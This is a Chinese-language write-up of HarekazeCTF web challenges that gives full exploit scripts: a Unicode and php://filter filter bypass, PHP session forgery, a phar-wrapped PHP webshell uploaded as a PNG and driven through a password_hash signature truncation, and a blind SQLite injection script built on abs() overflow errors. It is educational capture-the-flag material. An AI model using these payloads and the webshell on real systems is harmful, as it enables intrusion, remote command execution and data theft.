在 buuoj 上看到的这个比赛题目,期间平台关了,就拿了 Dockerfile 本地做了,web 题目感觉还不错
打开靶机,前两个页面都是 html 页面,第三个给了页面源码
源码如下
<?php error_reporting(0); if (isset($_GET['source'])) { show_source(__FILE__); exit(); } function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; } $body = file_get_contents('php://input'); $json = json_decode($body, true); if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n"; } } else { $content = '<p>invalid request</p>'; } // no data exfiltration!!! $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); echo json_encode(['content' => $content]);
file_get_contents('php://input')
获取 post 的数据,json_decode($body, true)
用 json 格式解码 post 的数据,然后 is_valid($body)
对 post 数据检验,大概输入的格式如下
is_valid($body)
对 post 数据检验,导致无法传输 $banword
中的关键词,也就无法传输 flag
,这里在 json 中,可以使用 Unicode 编码绕过,flag
就等于 \u0066\u006c\u0061\u0067
通过检验后,获取 page
对应的文件,并且页面里的内容也要通过 is_valid
检验,然后将文件中 HarekazeCTF{}
替换为 HarekazeCTF{<censored>}
,这样就无法明文读取 flag
这里传入 /\u0066\u006c\u0061\u0067
后,由于 flag
文件中也包含 flag 关键字,所以返回 not found
,这也无法使用 file://
file_get_contents
是可以触发 php://filter
的,所以考虑使用伪协议读取,对 php
的过滤使用 Unicode
绕过即可
可以看出,json 在传输时是 Unicode 编码的
给了源码,打开靶机,登录之后,是一个文件上传
首先 config.php
中定义了一些常量
然后在 upload.php
中判断文件大小,并使用 FILEINFO
判断上传图片类型,上传图片只能是 png 类型
后面再用 getimagesize
判断文件像素大小,并且再进行一次类型判断,如果不是 png 类型就给出 flag
在这两种判断上传图片类型的函数中,有一个很有趣的现象, FILEINFO
可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize
不可以,代码如下
<?php $file = finfo_open(FILEINFO_MIME_TYPE); var_dump(finfo_file($file, "test")); $f = getimagesize("test"); var_dump($f[2] === IMAGETYPE_PNG);
结果,16进制文件也在下面
直接上传这个文件就可以获取 flag 了
给了源码,打开靶机,是一个笔记系统
在登陆处进行了匹配,只允许输入 4 到 64 位规定字符,且不是前端验证
登陆成功后,可以进行增删查和导出为 zip 或 tar 的功能,点击 Get flag
提示不是 admin
既然拿到源码就先看看全局配置 config.php
,就写了一行,定义临时文件目录
define('TEMP_DIR', '/var/www/tmp');
进入 page/flag.php
看一下给出 flag 的条件,要满足 is_admin()
函数
跟进 is_admin()
函数,没有发现什么可以利用的地方
看到有个导出功能,它会将添加的 note 导出为 zip,这个文件存放的位置在 TEMP_DIR
,和 session
信息保存在同一个位置,那么是不是可以考虑伪造 session
session 文件以 sess_
开头,且只含有 a-z
,A-Z
,0-9
,-
看到 $filename
处可以满足所有的条件
构造 user
为 sess_
,type
为 .
,经过处理之后,$path
就是 TEMP_DIR/sess_0123456789abcdef
这就伪造了一个 session 文件
然后向这个文件写入 note 的 title
php 默认的 session 反序列化方式是 php
,其存储方式为 键名+竖线+经过serialize函数序列处理的值
,这就可以伪造 admin
了
在最后,它会将构造的 $filename
返回,这样就可以拿到构造出的 admin 的 session 数据
很典型的 session 伪造,session 反序列化
利用脚本
import re import requests URL = 'http://192.168.233.136:9000/' while True: # login as sess_ sess = requests.Session() sess.post(URL + 'login.php', data={ 'user': 'sess_' }) # make a crafted note sess.post(URL + 'add.php', data={ 'title': '|N;admin|b:1;', 'body': 'hello' }) # make a fake session r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition'] print(r) sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0] print(sessid) # get the flag r = requests.get(URL + '?page=flag', cookies={ 'PHPSESSID': sessid }).content.decode('utf-8') flag = re.findall(r'HarekazeCTF\{.+\}', r) if len(flag) > 0: print(flag[0]) break
Uploader1
,这里是找第二个 flagupload.php
中可以利用的暂时已经利用完了,看一下 index.php
吧index.php
代码简化大致如下<?php error_reporting(0); require_once('config.php'); require_once('lib/util.php'); require_once('lib/session.php'); $session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY); if ($session->isset('flash')) { $flash = $session->get('flash'); $session->unset('flash'); } $avatar = $session->isset('avatar') ? 'uploads/' . $session->get('avatar') : 'default.png' ; $session->save(); include('common.css'); include($session->get('theme', 'light') . '.css'); if ($session->isset('name')) { echo "Hello".$session->get('name')."</br>"; } if ($flash) { echo $flash['type']."</br>"; echo $flash['message']."</br>"; } if ($session->isset('name')) { echo "Please upload"."</br>"; } else { echo "Please sign in"."</br>"; }
这里的 session 处理机制是自己写的,在 lib\session.php
中,首先确认的事情是,登录后 HTTP 头部返回的 Cookie
是 session=******.******
这种格式的
首先 __construct
中,判断 session
是否存在 $_COOKIE
中,如果存在则以 .
分割 session
,然后对 data
和 signature
进行 verify
函数认证,认证成功就返回数据的 json_decode
的结果
isset
中判断参数 $key
是否在 data
中,get
中返回 data
中 key
为参数 $key
的数据,set
中将 data
中 key
为参数 $key
的数据设置为参数 $value
,unset
中删除 data
中 key
为参数 $key
的数据
save
中将 data
转化为 json 并进行 urlsafe_base64_encode
,再用 sign
对 data
进行签名
这样整个 session.php
就完了,回到 index.php
,然后进行的是 flash
的判断,找了一下,在 lib\util.php
中描述了 flash
并且给了调用 flash
函数的条件,即 error
函数,找了一下,error
在 upload.php
中,上传失败时调用
做的测试如图,flash
将错误信息保存在 session
中的
根据给的提示,password_hash
函数是存在安全隐患的,它的第一个参数不能超过 72 个字符,这个函数在 sign
中被调用,sign
被 save
调用,save
在 index.php
中被调用
password_hash
函数的漏洞就意味着只对前 72 个字符进行签名,只要前 72 个字符相同,那么就会在校验时通过
那么是不是可以登录一次,然后访问 upload.php
触发 error
函数,这样就能绕过 session 校验,然后对 data 信息进行修改,进而触发其他操作
可以看到,在 index.php
中存在一行代码 include($session->get('theme','light').'.css');
,session 信息是由我们控制的,那么就可以通过 phar 协议,触发 LFI ,首先要把 phar 文件上传,里面复合一个假的 css 文件,存放一句话,这样就可以在 include
时触发 RCE
生成 phar 代码
<?php $png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000'); $phar = new Phar('exp.phar'); $phar->startBuffering(); $phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>'); $phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>'); $phar->stopBuffering();
本地对这个 phar 做的一个测试
新登录一个用户,上传这个 phar,记录这个 phar 的地址和名字,然后去 upload.php
触发一次 error
,记录 data
和 signature
,修改 data
,增加 theme
键,键值为 phar 协议读取上传的文件,然后生成 session 再去访问 index.php
传入命令即可
exp.py
import base64 import json import re import requests import urllib.parse url = 'http://192.168.233.136:9003/' def b64decode(s): return base64.urlsafe_b64decode(s + '=' * (3 - (3 + len(s)) % 4)) sess = requests.Session() username = b"peri0d".decode() url_1 = url + 'signin.php' sess.post(url=url_1, data={'name': username}) url_2 = url + 'upload.php' f = open('exp.phar', 'rb') sess.post(url_2, files={'file': ('exp.png', f)}) data = sess.cookies['session'].split('.')[0] data = json.loads(b64decode(data)) avatar = data['avatar'] url_3 = url + 'upload.php' sess.get(url_3, allow_redirects=False) data, sig = sess.cookies['session'].split('.') data = b64decode(data) payload = data.replace(b'}}', '}},"theme":"phar://uploads/{}/exp"}}'.format(avatar).encode()) sess.cookies.set('session', base64.b64encode(payload).decode().replace('=', '') + '.' + sig) while True: command = input('> ') c = sess.get(url + '?cmd=' + urllib.parse.quote(command)).content.decode() result = re.findall(r'/\* light/dark.css \*/(.+)/\*\*/', c, flags=re.DOTALL)[0] print(result.strip())
打开靶机,看到投票的页面,并且给了源码
在 vote.php
页面 POST
参数 id
,只能为数字。并且在 schema.sql
中发现了 flag
表
DROP TABLE IF EXISTS `vote`; CREATE TABLE `vote` ( `id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` TEXT NOT NULL, `count` INTEGER ); INSERT INTO `vote` (`name`, `count`) VALUES ('dog', 0), ('cat', 0), ('zebra', 0), ('koala', 0); DROP TABLE IF EXISTS `flag`; CREATE TABLE `flag` ( `flag` TEXT NOT NULL ); INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
vote.php
中给出了查询的 SQL 语句,但是对参数进行了检测function is_valid($str) { $banword = [ // dangerous chars // " % ' * + / < = > \ _ ` ~ - "[\"%'*+\\/<=>\\\\_`~-]", // whitespace chars '\s', // dangerous functions 'blob', 'load_extension', 'char', 'unicode', '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp', 'in', 'limit', 'order', 'union', 'join' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; } $id = $_POST['id']; if (!is_valid($id)) { die(json_encode(['error' => 'Vote id contains dangerous chars'])); } $pdo = new PDO('sqlite:../db/vote.db'); $res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); if ($res === false) { die(json_encode(['error' => 'An error occurred while updating database'])); }
UPDATE
成功与失败分别对应了不同的页面,那么是不是可以进行盲注,但是考虑到它过滤了 '
和 "
这就无法使用字符进行判断,char
又被过滤也无法使用 ASCII 码判断
所以可以考虑使用 hex
进行字符判断,将所有的的字符串组合用有限的 36 个字符表示
先考虑对 flag 16 进制长度的判断,假设它的长度为 x
,y
表示 2 的 n 次方,那么 x&y
就能表现出 x
二进制为 1 的位置,将这些 y
再进行或运算就可以得到完整的 x
的二进制,也就得到了 flag 的长度,而 1<<n
恰可以表示 2 的 n 次方
那么如何构造报错语句呢?在 sqlite3
中,abs
函数有一个整数溢出的报错,如果 abs
的参数是 -9223372036854775808
就会报错,同样如果是正数也会报错
判断长度的 payload : abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)
脚本如下,长度 84
import requests url = "http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php" l = 0 for n in range(16): payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)' data = { 'id' : payload } r = requests.post(url=url, data=data) print(r.text) if 'occurred' in r.text: l = l|1<<n print(l)
is_valid()
过滤了大部分截取字符的函数,而且也无法用 ASCII 码判断ABCDEF
,这样十六进制的所有字符都可以使用了,并且使用 trim(0,0)
来表示空字符# hex(b'zebra') = 7A65627261 # 除去 12567 就是 A ,其余同理 A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' C = 'trim(hex(typeof(.1)),12567)' D = 'trim(hex(0xffffffffffffffff),123)' E = 'trim(hex(0.1),1230)' F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' # hex(b'koala') = 6B6F616C61 # 除去 16CF 就是 B B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
flag{}
,hex(b'flag{')==666C61677B
,在其后面逐位添加十六进制字符,构成 paylaodreplace(length(replace(flag,payload,''))),84,'')
这个语句进行判断length
必为 84 ,最外面的 replace
将返回 false
,通过 case when then else
构造 abs
参数为 0
,它不报错replace(flag, payload, '')
将 flag 中的 payload 替换为空,得到的 length
必不为 84 ,最外面的 replace
将返回 true
,通过 case when then else
构造 abs
参数为 0x8000000000000000
令其报错# coding: utf-8 import binascii import requests URL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php' l = 0 i = 0 for j in range(16): r = requests.post(URL, data={ 'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: l |= 1 << j print('[+] length:', l) table = {} table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' table['C'] = 'trim(hex(typeof(.1)),12567)' table['D'] = 'trim(hex(0xffffffffffffffff),123)' table['E'] = 'trim(hex(0.1),1230)' table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})' res = binascii.hexlify(b'flag{').decode().upper() for i in range(len(res), l): for x in '0123456789ABCDEF': t = '||'.join(c if c in '0123456789' else table[c] for c in res + x) r = requests.post(URL, data={ 'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: res += x break print(f'[+] flag ({i}/{l}): {res}') i += 1 print('[+] flag:', binascii.unhexlify(res).decode())
FILEINFO
可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize
不可以php
,其存储方式为 键名+竖线+经过serialize函数序列处理的值
,默认保存在 /tmp
TEMP_DIR
,和 session
信息保存在同一个位置,那么是不是可以考虑伪造 sessionpassword_hash
函数只对第一个参数的前 72 个字符有效addFromString(filename, file_content)
写入信息,那么通过 phar://test.phar/filename
自然可以读取到,通常文件上传多可以考虑 phar